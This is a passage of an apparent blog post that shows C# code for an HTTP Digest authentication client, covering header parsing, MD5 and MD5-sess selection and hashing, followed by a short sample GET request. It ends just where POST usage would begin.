<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">return</span><span style="mso-ansi-language: en-us;" lang="EN-US"> matchHeader.Groups[1].Value;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">throw</span><span style="mso-ansi-language: en-us;" lang="EN-US">new</span><span style="mso-ansi-language: en-us;" lang="EN-US">ApplicationException</span><span style="mso-ansi-language: en-us;" lang="EN-US">(</span><span style="mso-ansi-language: en-us;" lang="EN-US">string</span><span style="mso-ansi-language: en-us;" lang="EN-US">.Format(</span><span style="mso-ansi-language: en-us;" lang="EN-US">"Header {0} not found"</span><span style="mso-ansi-language: en-us;" lang="EN-US">, attributeName));</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;">&nbsp;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">private</span><span style="mso-ansi-language: en-us;" lang="EN-US">Algorithm</span><span style="mso-ansi-language: en-us;" lang="EN-US"> GetMD5Algorithm(</span><span style="mso-ansi-language: en-us;" lang="EN-US">string</span><span style="mso-ansi-language: en-us;" lang="EN-US"> digestAuthHeader)</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">var</span><span style="mso-ansi-language: en-us;" lang="EN-US"> md5Regex = </span><span style="mso-ansi-language: en-us;" lang="EN-US">new</span><span style="mso-ansi-language: en-us;" lang="EN-US">Regex</span><span style="mso-ansi-language: en-us;" lang="EN-US">(</span><span style="mso-ansi-language: en-us;" lang="EN-US">@"algorithm=(?&lt;algo&gt;.*)[,]"</span><span style="mso-ansi-language: en-us;" lang="EN-US">, </span><span style="mso-ansi-language: en-us;" lang="EN-US">RegexOptions</span><span style="mso-ansi-language: en-us;" lang="EN-US">.IgnoreCase);</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">var</span><span style="mso-ansi-language: en-us;" lang="EN-US"> md5Attribute = md5Regex.Match(digestAuthHeader);</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">if</span><span style="mso-ansi-language: en-us;" lang="EN-US"> (md5Attribute.Success)</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">char</span><span style="mso-ansi-language: en-us;" lang="EN-US">[] charSeparator = </span><span style="mso-ansi-language: en-us;" lang="EN-US">new</span><span style="mso-ansi-language: en-us;" lang="EN-US">char</span><span style="mso-ansi-language: en-us;" lang="EN-US">[] { </span><span style="mso-ansi-language: en-us;" lang="EN-US">','</span><span style="mso-ansi-language: en-us;" lang="EN-US"> };</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">string</span><span style="mso-ansi-language: en-us;" lang="EN-US"> algorithm = md5Attribute.Result(</span><span style="mso-ansi-language: en-us;" lang="EN-US">"${algo}"</span><span style="mso-ansi-language: en-us;" lang="EN-US">).ToLower().Split(charSeparator)[0];</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;">&nbsp;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">switch</span><span style="mso-ansi-language: en-us;" lang="EN-US"> (algorithm)</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp; </span><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">case</span><span style="mso-ansi-language: en-us;" lang="EN-US">"md5-sess"</span><span style="mso-ansi-language: en-us;" lang="EN-US">:</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">case</span><span style="mso-ansi-language: en-us;" lang="EN-US">"\"md5-sess\""</span><span style="mso-ansi-language: en-us;" lang="EN-US">:</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">return</span><span style="mso-ansi-language: en-us;" lang="EN-US">Algorithm</span><span style="mso-ansi-language: en-us;" lang="EN-US">.MD5sess;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;"><span style="font-family: Consolas;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">case</span><span style="mso-ansi-language: en-us;" lang="EN-US">"md5"</span><span style="mso-ansi-language: en-us;" lang="EN-US">:</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">case</span><span style="mso-ansi-language: en-us;" lang="EN-US">"\"md5\""</span><span style="mso-ansi-language: en-us;" lang="EN-US">:</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">default</span><span style="mso-ansi-language: en-us;" lang="EN-US">:</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">return</span><span style="mso-ansi-language: en-us;" lang="EN-US">Algorithm</span><span style="mso-ansi-language: en-us;" lang="EN-US">.MD5;<span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;">&nbsp;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">throw</span><span style="mso-ansi-language: en-us;" lang="EN-US">new</span><span style="mso-ansi-language: en-us;" lang="EN-US">ApplicationException</span><span style="mso-ansi-language: en-us;" lang="EN-US">(</span><span style="mso-ansi-language: en-us;" lang="EN-US">"Could not determine Digest algorithm to be used from the server response."</span><span style="mso-ansi-language: en-us;" lang="EN-US">);</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;">&nbsp;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">private</span><span style="mso-ansi-language: en-us;" lang="EN-US">string</span><span style="mso-ansi-language: en-us;" lang="EN-US"> ComputeMd5Hash(</span><span style="mso-ansi-language: en-us;" lang="EN-US">string</span><span style="mso-ansi-language: en-us;" lang="EN-US"> input)</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">var</span><span style="mso-ansi-language: en-us;" lang="EN-US"> inputBytes = </span><span style="mso-ansi-language: en-us;" lang="EN-US">Encoding</span><span style="mso-ansi-language: en-us;" lang="EN-US">.ASCII.GetBytes(input);</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">var</span><span style="mso-ansi-language: en-us;" lang="EN-US"> hash = </span><span style="mso-ansi-language: en-us;" lang="EN-US">MD5</span><span style="mso-ansi-language: en-us;" lang="EN-US">.Create().ComputeHash(inputBytes);</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">var</span><span style="mso-ansi-language: en-us;" lang="EN-US"> sb = </span><span style="mso-ansi-language: en-us;" lang="EN-US">new</span><span style="mso-ansi-language: en-us;" lang="EN-US">StringBuilder</span><span style="mso-ansi-language: en-us;" lang="EN-US">();</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">foreach</span><span style="mso-ansi-language: en-us;" lang="EN-US"> (</span><span style="mso-ansi-language: en-us;" lang="EN-US">var</span><span style="mso-ansi-language: en-us;" lang="EN-US"> b </span><span style="mso-ansi-language: en-us;" lang="EN-US">in</span><span style="mso-ansi-language: en-us;" lang="EN-US"> hash)</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>sb.Append(b.ToString(</span><span style="mso-ansi-language: en-us;" lang="EN-US">"x2"</span><span style="mso-ansi-language: en-us;" lang="EN-US">));</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">return</span><span style="mso-ansi-language: en-us;" lang="EN-US"> sb.ToString();</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;">&nbsp;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">public</span><span style="mso-ansi-language: en-us;" lang="EN-US">enum</span><span style="mso-ansi-language: en-us;" lang="EN-US">Algorithm</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>MD5 = 0, </span><span style="mso-ansi-language: en-us;" lang="EN-US">// Apache Default</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>MD5sess = 1 </span><span style="mso-ansi-language: en-us;" lang="EN-US">//IIS Default</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span>}</span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small;"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp; </span>}</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242;"><span style="font-size: small;"><span style="font-family: Consolas;">}</span></span></p>
</div>
<p>&nbsp;</p>
<p><span style="font-family: Calibri; font-size: medium;">Sample usage for HTTP GET requests:</span></p>
<p class="MsoNormal" style="background: #f2f2f2; line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="background-image: none; background-attachment: scroll; background-repeat: repeat; background-size: auto; background-origin: padding-box; background-clip: border-box; mso-ansi-language: en-us; mso-highlight: white;" lang="EN-US">DigestHttpWebRequest</span><span style="background-image: none; background-attachment: scroll; background-repeat: repeat; background-size: auto; background-origin: padding-box; background-clip: border-box; mso-ansi-language: en-us; mso-highlight: white;" lang="EN-US"> request = </span><span style="background-image: none; background-attachment: scroll; background-repeat: repeat; background-size: auto; background-origin: padding-box; background-clip: border-box; mso-ansi-language: en-us; mso-highlight: white;" lang="EN-US">new</span><span style="background-image: none; background-attachment: scroll; background-repeat: repeat; background-size: auto; background-origin: padding-box; background-clip: border-box; mso-ansi-language: en-us; mso-highlight: white;" lang="EN-US">DigestHttpWebRequest</span><span style="background-image: none; background-attachment: scroll; background-repeat: repeat; background-size: auto; background-origin: padding-box; background-clip: border-box; mso-ansi-language: en-us; mso-highlight: white;" lang="EN-US">(username, password);</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc; mso-background-themecolor: background1; mso-background-themeshade: 242;"><span style="font-size: small;"><span style="font-family: Consolas;"><span style="background-image: none; background-attachment: scroll; background-repeat: repeat; background-size: auto; background-origin: padding-box; background-clip: border-box; mso-ansi-language: en-us; mso-highlight: white;" lang="EN-US">HttpWebResponse</span></span><span style="background-image: none; background-attachment: scroll; background-repeat: repeat; background-size: auto; background-origin: padding-box; background-clip: border-box; mso-ansi-language: en-us; mso-highlight: white;" lang="EN-US"><span style="font-family: Consolas;"> result = request.GetResponse(uri);</span><span style="mso-spacerun: yes;">&nbsp;</span></span></span></p>
<p>&nbsp;</p>
<p><span style="font-family: Calibri; font-size: medium;">Sample usage for HTTP POST requests:</span></p>
